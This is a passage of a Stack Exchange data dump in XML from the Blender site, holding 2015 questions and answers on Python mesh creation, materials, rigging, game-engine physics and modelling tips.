Title="Blender Python mesh.from_pydata?" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30891" PostTypeId="2" ParentId="30890" CreationDate="2015-05-15T12:14:41.267" Score="3" Body="&lt;p&gt;Blender includes a sample template file that uses &lt;code&gt;from_pydata()&lt;/code&gt; which you can get in blender's text editor from &lt;code&gt;Templates-&amp;gt;Python-&amp;gt;Addon Add Object&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key portion is -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def add_object(self, context):&#xA;    scale_x = self.scale.x&#xA;    scale_y = self.scale.y&#xA;&#xA;    verts = [Vector((-1 * scale_x, 1 * scale_y, 0)),&#xA;             Vector((1 * scale_x, 1 * scale_y, 0)),&#xA;             Vector((1 * scale_x, -1 * scale_y, 0)),&#xA;             Vector((-1 * scale_x, -1 * scale_y, 0)),&#xA;            ]&#xA;&#xA;    edges = []&#xA;    faces = [[0, 1, 2, 3]]&#xA;&#xA;    mesh = bpy.data.meshes.new(name=&quot;New Object Mesh&quot;)&#xA;    mesh.from_pydata(verts, edges, faces)&#xA;    # useful for development when the mesh may be invalid.&#xA;    # mesh.validate(verbose=True)&#xA;    object_data_add(context, mesh, operator=self)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of note is that the vertex list is a list of &lt;code&gt;Vector()&lt;/code&gt; items and the face list is a list containing items that are each a list of vertex indices (eg. a list of lists), multiple faces should be entered as &lt;code&gt;[[0,1,2,3],[1,2,5,6],[0,1,7,8]]&lt;/code&gt; - this is most likely the source of the error you see.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-05-15T12:14:41.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30892" PostTypeId="1" AcceptedAnswerId="30935" CreationDate="2015-05-15T15:56:10.413" Score="0" ViewCount="4265" Body="&lt;p&gt;Does anyone know if it's possible to delete a pickle file with python in Blender please ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to store some data to use them later. I've created a pickle file to store them (so, maybe is not the best way for that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I've finished my work, I need to delete the pickle file with an operator after having restored my data saved in the pickle file.&lt;/p&gt;&#xA;" OwnerUserId="11582" LastEditorUserId="14005" LastEditDate="2015-05-16T13:30:02.453" LastActivityDate="2015-05-16T13:30:02.453" Title="Delete pickle file with python within Blender" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30893" PostTypeId="1" AcceptedAnswerId="30959" CreationDate="2015-05-15T15:57:46.357" Score="1" ViewCount="120" Body="&lt;p&gt;So I'm making a three-dimensional danmakufu game in Blender. I'm trying to restrict the player's movement so that someone can't just barrel through the level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have currently restricted his movement to a lidless box that is 6 units 'X' by 18 units 'Y' by 2 units 'Z'. All forms of bounding cause the player to be sent flying out of the screen. Can someone help me please? The box moves -.0025 units x per second.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XViG5.png&quot; alt=&quot;a markup of the game in which those with screen readers cannot see that I&amp;#39;ve pointed out the bounds, player, loop and enemy&quot;&gt;&#xA;This is only with dynamic or body physics. If using static physics, the player can just go through the barrier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AND STOP POSTING ANSWERS IN THE COMMENTS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, with the bounding box set to Rigid Body with x-translation enabled and the player as a dynamic object with all degrees of freedom stripped (and neither had collisions on in the first place!) the player is instantly flung off in the direction of positive x, negative y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here have some more pictures!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/r7e65.png&quot; alt=&quot;top&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JH2fF.png&quot; alt=&quot;bottom&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="13814" LastEditDate="2015-05-16T22:25:56.777" LastActivityDate="2015-05-17T02:15:44.970" Title="Trying to restrict movement of player without causing it to fly off the screen" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30894" PostTypeId="1" AcceptedAnswerId="30898" CreationDate="2015-05-15T16:02:46.817" Score="2" ViewCount="19072" Body="&lt;p&gt;I'm trying to apply some simple materials to different parts of a mesh. They don't have textures, just diffuse colour at present. In object mode, they show up in &quot;solid&quot; view, but in &quot;material&quot; view, they just show as solid black (in texture view, the mesh displays as white but shaded). How can I get the materials to show in &quot;material&quot; view? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solid view, materials are visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iSoRn.jpg&quot; alt=&quot;solid view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material view, everything is black (bottom half of material panel is visible):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eLPt3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as a related point, when I tab into edit mode, I can only see the bone weights when in &quot;solid&quot; mode (and again, solid black in object mode), so I have no way of viewing the materials at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a light source, scale isn't negative, I'm not in local view, what have I messed up?&lt;/p&gt;&#xA;" OwnerUserId="14390" LastActivityDate="2019-05-06T18:06:38.280" Title="Materials show up in solid view, but just appear black in material view" Tags="&lt;materials&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30895" PostTypeId="2" ParentId="30852" CreationDate="2015-05-15T16:05:43.683" Score="3" Body="&lt;p&gt;You will have to blend two shots together. Its most likely impossible to get the geometric level of detail at the atomic scale that will work for a macro shot. I would model the scene with the ruler, with some textures etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add some procedural textures for pits, scratches, etc. That way we can continue to zoom in without becoming pixellated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next model a completely different scene that is molecular in scale and have a zoom animation in both scenes that match up. Once your first scene gets close enough, start blending into the second screen. You could use the compositor, or maybe just a plane in scene 2 that has a texture of the rendered video from scene 1. As you get close in on scene 2, adjust the transparency of that image plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-05-15T16:05:43.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30896" PostTypeId="2" ParentId="30457" CreationDate="2015-05-15T16:10:36.100" Score="4" Body="&lt;p&gt;Keep track of the objects previous position. Algorithm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;on each logic tick:&#xA;     speed_vector = current_position - previous_position&#xA;     speed = speed_vector.length()&#xA;     previous_position = current_position&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-05-15T16:10:36.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30897" PostTypeId="2" ParentId="30869" CreationDate="2015-05-15T16:18:56.967" Score="1" Body="&lt;p&gt;You need the bullet hole to modify the texture applied to the material. That way it will never stick out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interesting approach may be to have multiple U,V vectors per object, and in the fragment shader, detect how close a fragment is to each of the U,V vectors, and if close enough, draw a bullet hole (maybe darken pixels as a function of distance between current U,V, and bullet hole U,V)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how this is normally implemented in games however ;)&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-05-15T16:18:56.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30898" PostTypeId="2" ParentId="30894" CreationDate="2015-05-15T17:08:28.053" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;Make sure your light source diffuse and specular check box options are checked.  Later you can adjust more artistically.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bi1rK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If needed.  Delete all lights and materials and add new ones with no modifications except color.  Sometimes through experimenting we click many settings and do not know the click history.  Deleting and adding again may restore defaults.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-15T17:23:46.757" LastActivityDate="2015-05-15T17:23:46.757" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30899" PostTypeId="1" CreationDate="2015-05-15T17:33:19.517" Score="3" ViewCount="694" Body="&lt;p&gt;I know how to bake sound to F-Curves and stuff but how do I do that with colors? Like, can I have a material that becomes lighter when the music changes?&lt;/p&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2015-05-16T12:28:01.287" Title="Colors Change To Music?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30900" PostTypeId="2" ParentId="30882" CreationDate="2015-05-15T18:04:41.037" Score="18" Body="&lt;p&gt;You did have &lt;strong&gt;&lt;em&gt;Transparent Shadows&lt;/em&gt;&lt;/strong&gt; disabled in the Material Settings.  Once enabled, you can use the &lt;strong&gt;&lt;em&gt;Light Path&lt;/em&gt;&lt;/strong&gt; Node's &lt;strong&gt;&lt;em&gt;Is Shadow Ray&lt;/em&gt;&lt;/strong&gt; to Select between the Glass and Transparency shaders to achieve this effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfBgR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-05-15T18:04:41.037" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30901" PostTypeId="2" ParentId="30874" CreationDate="2015-05-15T18:22:11.040" Score="7" Body="&lt;p&gt;You can't do this directly, but there is a relatively easy workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just move all of your faces in the distance you want and then extrude all but the original face out. this way the net effect is a face that was essentially extruded in. The best part about this method is, although there is an extra step, there is absolutely no cleanup work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EHv9U.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-05-15T18:22:11.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30902" PostTypeId="2" ParentId="30877" CreationDate="2015-05-15T19:14:52.523" Score="1" Body="&lt;p&gt;The &quot;jump button shaded&quot; suggests that you have selected &quot;character motion&quot;, and clicked the &quot;jump&quot; option, but this doesn't mean your man jumps. All the &quot;jump&quot; button does is specifies the way the character moves.&#xA;Yours looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bf8r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needs to look like this. (see the &lt;em&gt;z.3?&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b5vPP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-05-15T19:14:52.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30903" PostTypeId="1" AcceptedAnswerId="30962" CreationDate="2015-05-15T19:23:40.960" Score="3" ViewCount="1041" Body="&lt;p&gt;I have been trying to create a realistic colored fur shader, but have not been having any real luck with it.  The colors come out either too dark, too saturated, or both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render below is the closest I've managed to get to what I want.  However, it is still too dark to my eyes, and trying to lighten it has the effect of making it more saturated.  As well, In the upper right of the sphere, where it is catching sunlight head-on, it just gets brightened without any highlights, while the &quot;rim&quot; along the left and bottom edges gets highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any feedback on what I'm doing wrong or what I should be doing would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I realize the patterns on the fur are unrealistic, though I'm trying to get realistic light first.  As well, increasing density or strand thickness has the effect of making things even darker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ytTDB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a download link for the blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36073&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36073&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2015-05-17T03:27:35.623" Title="Realistic Colored Fur?" Tags="&lt;materials&gt;&lt;particles&gt;&lt;light&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="30904" PostTypeId="2" ParentId="30882" CreationDate="2015-05-15T19:33:14.243" Score="2" Body="&lt;p&gt;Thank you all for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently there was something wrong with the &quot;Ambient Occlusion&quot;. Very strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Initial settings 'World'&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S8oet.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result intitial settings and node settings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(so, solid shadows ==&gt; not good)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTt0E.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Change 'World'-settings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==&gt; put 'Ambient Occlusion&quot; ON and OFF again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vdRwO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="13811" LastActivityDate="2015-05-15T19:33:14.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30905" PostTypeId="2" ParentId="30776" CreationDate="2015-05-15T20:06:25.883" Score="4" Body="&lt;p&gt;I've been experimenting a little, but I've mostly used Blender Internal, and only recently started using Cycles on a more regular basis, so this isn't perfect, but it may serve as a starting point. And to be clear: This isn't intended to create a nebula shape from a primitive object like a cube or a sphere, by just varying the density. Perhaps it can be built on to create something that does that, but probably not. Either way, with this setup, the shape has to be modeled.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an overview of the material:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/M8Cgj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The Color input of both the Scatter and the Absorption node groups are just that, color inputs. You can connect anything that outputs a color to them, ColorRamp, MixRGB, textures, or simply change the color directly, like with any node.&lt;br&gt;&#xA;The Density texture and Anisotropy texture inputs of the Scatter node group and the Texture input of the Absorption node group control the density and anisotropy of the scattering and the density of the absorption respectively. You should connect the fac output of a texture, or anything that produces a value between 0 and 1, or you can set it directly.&lt;br&gt;&#xA;The Maximum and Minimum inputs control the max and min density and anisotropy of the scattering and the max and min density of the absorption. The density of both go from 0 to the ridiculously high 10000, and the anisotropy of the scattering goes from -1 to 1. You can connect other nodes that produce such values, or you can set them directly.&lt;br&gt;&#xA;The Curve shape inputs control how the densities and the anisotropy are distributed. A value of 1 gives a straight line from highest to lowest, a lower value gives more of higher density/anisotropy and a higher value gives more of lower density/anisotropy. They go from 0 to 1000.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &quot;inside&quot; of the Scattering node group:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zATE9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the &quot;inside&quot; of the Absorption node group:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qCkdP.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the setup I show here, I've used only one of each node group, and combined them with a mix shader with a factor of .5. As you can see, I've also used the same noise texture for everything. You may want to combine several of each node group, with different values, and, of course, different textures, and possibly something that gives a little randomness to the fac input of the mix shader(s), or perhaps try using (an) add shader(s) instead.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a little something I put together with the exact setup shown here. It's certainly not a nebula, but like I said, this may be a starting point. It's not a complete solution.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/v6Oim.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend for this setup:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/230/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=230&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-05-16T00:27:30.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30906" PostTypeId="1" AcceptedAnswerId="30907" CreationDate="2015-05-15T20:45:58.607" Score="7" ViewCount="1082" Body="&lt;p&gt;Whenever i try to send a project off to a render farm such as sheepit, it says it needs the textures packing with the file in order to render correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="14333" LastActivityDate="2015-05-15T20:56:40.687" Title="How do I pack textures for sending off to a render farm" Tags="&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30907" PostTypeId="2" ParentId="30906" CreationDate="2015-05-15T20:56:40.687" Score="7" Body="&lt;p&gt;Go to File-Exernal Data-Pack All into blend.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/43KPT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-15T20:56:40.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30908" PostTypeId="1" CreationDate="2015-05-15T20:59:13.137" Score="1" ViewCount="100" Body="&lt;p&gt;Recently I have posted a few questions trying to extract an answer, but since I have not. I added a clamp to constraint and linked it with a belzier circle, but it offset the bone in pose mode. I need to know how to snap the bone to the cursor in pose mode. It is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rx38a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the blue bone to be on the cursor. Any ideas on how to make it not offset? Keep in mind I extruded that bone directly on a belzier joint, so there should be no reason clamping it moves it, since it's already directly on the belzier. Please help I'm lost :(&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-05-16T00:28:02.907" LastActivityDate="2015-05-16T00:28:02.907" Title="Clamp to Constraint Offsetting Bone in Pose Mode, but Snap to Cursor isn't Working" Tags="&lt;bones&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30909" PostTypeId="1" AcceptedAnswerId="40097" CreationDate="2015-05-15T21:47:35.723" Score="4" ViewCount="6781" Body="&lt;p&gt;I have been struggling with this simple but naughty problem since a while now. I can do good things in Blender, but I miss simple knowledge, so I'm sure someone can help easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have exported a .mhx model from MakeHuman into blender, the textures are not ready for cycles. I can quite easily add the skin by just following these simple steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Object Mode, select the body, go in Material &gt; Surface and click &quot;Use Nodes&quot;&lt;/li&gt;&#xA;&lt;li&gt;Replace &quot;Color&quot; with &quot;Image Texture&quot;&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Young_light...diffuse.png&quot; or whatever the default image is.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Everything works and goes on as planned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cHHVG.jpg&quot; alt=&quot;Skin texture on MakeHuman model (Material View)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I repeat the same steps for the eyebrows, eyes, and eyelashes, everything turns black instead of using the image texture. Arrg! I tried Ctrl + N to invert the normals, but that doesn't fix anything. The same problem persists in Cycles view. Would anyone please help me here? Thx!&lt;/p&gt;&#xA;" OwnerUserId="14354" LastActivityDate="2018-08-22T00:50:48.440" Title="How to get the image textures around for eyes, eyelashes, and eyebrows when exporting a human model from MakeHuman" Tags="&lt;texturing&gt;&lt;export&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30910" PostTypeId="1" AcceptedAnswerId="30914" CreationDate="2015-05-15T22:03:11.627" Score="7" ViewCount="2702" Body="&lt;p&gt;Let's say I have a ring of vertices that I'd like to scale down, and I'd like them all to move by a fixed amount, like 1mm (I usually work with metric units). What's the easiest way to achieve this? If I type '1' it just sets the scale to 1 and they don't move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pI2qg.png&quot; alt=&quot;Trying to scale vertices down&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I've come up with to do this is to extrude a vertex along one of the axes by 1mm, and then snap the scale movement to that vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CFhsw.png&quot; alt=&quot;extrude a vertex along an axis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vo1hT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a pain though, and if I don't have a vertex that happens to lie on an axis I can't do the little extrusion trick and it doesn't work at all. I do a lot of modeling for 3d printing, and I end up needing to do this all the time. Hoping there's a better way to do this.&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2021-05-25T07:38:05.530" Title="Is there a way to scale by an absolute distance, rather than a percentage?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30911" PostTypeId="2" ParentId="30910" CreationDate="2015-05-15T23:36:58.933" Score="6" Body="&lt;p&gt;Select the vertices you want to scale, then use Shrink/Flatten operation with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; shortcut, then input the distance you want to move the vertices in or out and hit &lt;kbd&gt;Enter&lt;/kbd&gt; to complete the operation.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-15T23:36:58.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30912" PostTypeId="2" ParentId="30910" CreationDate="2015-05-16T00:28:05.407" Score="0" Body="&lt;p&gt;Select vertices, make face (F),addon Offset Edges &gt; move.&#xA;Delete face (XF).&lt;/p&gt;&#xA;" OwnerUserId="7474" LastActivityDate="2015-05-16T00:28:05.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30913" PostTypeId="2" ParentId="30881" CreationDate="2015-05-16T00:40:22.140" Score="59" Body="&lt;p&gt;Select all the bones, in &lt;strong&gt;pose mode&lt;/strong&gt; with &lt;kbd&gt;A&lt;/kbd&gt;. Then, hit:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;ALT&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt; to reset all rotations,&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;ALT&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt; to reset all translations,&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;ALT&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; to reset all scales.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Or, you can select all bones (&lt;kbd&gt;A&lt;/kbd&gt;) and hit &lt;kbd&gt;space&lt;/kbd&gt;. Then search for &amp;quot;clear pose&amp;quot; and select &lt;strong&gt;Clear Pose Transforms&lt;/strong&gt; in the results. Et voilà!&lt;/p&gt;&#xA;&lt;p&gt;Mac Users Use &lt;kbd&gt;Option&lt;/kbd&gt; instead of &lt;kbd&gt;ALT&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="111085" LastEditDate="2020-11-27T17:39:58.630" LastActivityDate="2020-11-27T17:39:58.630" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30914" PostTypeId="2" ParentId="30910" CreationDate="2015-05-16T00:56:17.053" Score="7" Body="&lt;p&gt;Think I discovered what I was looking for here. Push/Pull from the Mesh-&gt;Transform menu seems to work exactly like scaling, except that it moves all the vertices by a specific amount. You can restrict the axes and change the pivot point to the cursor, median point, etc.&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2015-05-16T00:56:17.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30915" PostTypeId="1" AcceptedAnswerId="30920" CreationDate="2015-05-16T01:21:59.430" Score="4" ViewCount="291" Body="&lt;p&gt;I want to render a certain geometrical object for a scientific paper. It should look nice, but the main point is that I want to make the shape as evident as possible. I would like to get a result similar to what one would get with Jmol (though I would hope for a much nicer look).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a look at the shape &lt;a href=&quot;http://www.ime.usp.br/~fmario/cuboc.blend&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. For those who know about this stuff, it is sort of like a smoothed cuboctahedron. It has two kinds of &quot;faces&quot;, triangular ones and square ones. I would like that to be clearly visible in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it helps to know how the mesh was created. I generated each slice of the solid along the z-axis and wrote a script to generate the whole mesh. Maybe the reason why I can't seem to get a nice looking render is related to the way I generated the mesh? Or maybe I am just very incompetent in dealing with Blender (most likely this is the case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be welcome!&lt;/p&gt;&#xA;" OwnerUserId="14395" LastActivityDate="2015-12-04T17:42:53.370" Title="How to nicely render mathematical object made from slices" Tags="&lt;modeling&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30916" PostTypeId="1" AcceptedAnswerId="30938" CreationDate="2015-05-16T01:48:22.020" Score="4" ViewCount="714" Body="&lt;p&gt;I used sculpting on a plane, and things looks great. However, when I press &lt;kbd&gt;P&lt;/kbd&gt; to play, the whole ground become a mess. I can see through it in various places, and there are also nasty looking black edges everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another problem, I made a UV Sphere to display the sky, but when I press , &lt;kbd&gt;P&lt;/kbd&gt; to play it disappears! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sr8aN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14396" LastEditorUserId="5426" LastEditDate="2015-05-16T14:29:51.477" LastActivityDate="2019-05-14T13:16:28.010" Title="Seeing through objects in Game engine" Tags="&lt;game-engine&gt;&lt;normals&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
